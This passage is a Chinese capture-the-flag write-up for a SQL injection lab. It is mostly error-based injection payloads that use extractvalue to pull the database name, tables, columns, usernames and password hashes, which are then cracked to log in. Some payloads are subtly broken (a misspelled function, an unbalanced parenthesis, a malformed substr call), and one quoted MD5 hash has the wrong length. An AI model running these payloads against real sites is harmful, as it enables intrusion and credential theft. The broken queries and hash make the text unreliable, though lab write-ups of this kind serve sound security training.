只用and 1=2页面正常,没有报错,但在id=1后加’,会发现页面报错,说明‘与前面的’闭合了
可考虑用报错盲注
运用id=1' and extractvalue(1,concat(0x7e,database()))) --+语句来查询数据库名,即stormgroup
运用id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))来查询表名
得到第一个表名member,用同样的方法,得到另一个的表名为notice。
觉得第一个表更像我们要寻找的表,先查第一个表
运用id=1' and extranctvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='member' limit 0,1)))来查询列名
第一个列名为name,按同样的方法可得其他列名分别为password,status
利用id=1' and extractvalue(1,concat(0x7e,(select substr(concat(name),1,31) from member)))可查出具体数据name为mozhe
第二个name也为mozhe
利用语句:id=1' and extractvalue(1,concat(0x7e,(select substr(concat(password) from member limit 0,1))))
可得第一个password:3114b433dece9180717f2b7de56b28a3
同样的方法得第二个密码:239bb03ef584c605f7e8edf9a2b8fe882
用MD5进行解密,将得到的密码和用户名拿去登录,得flag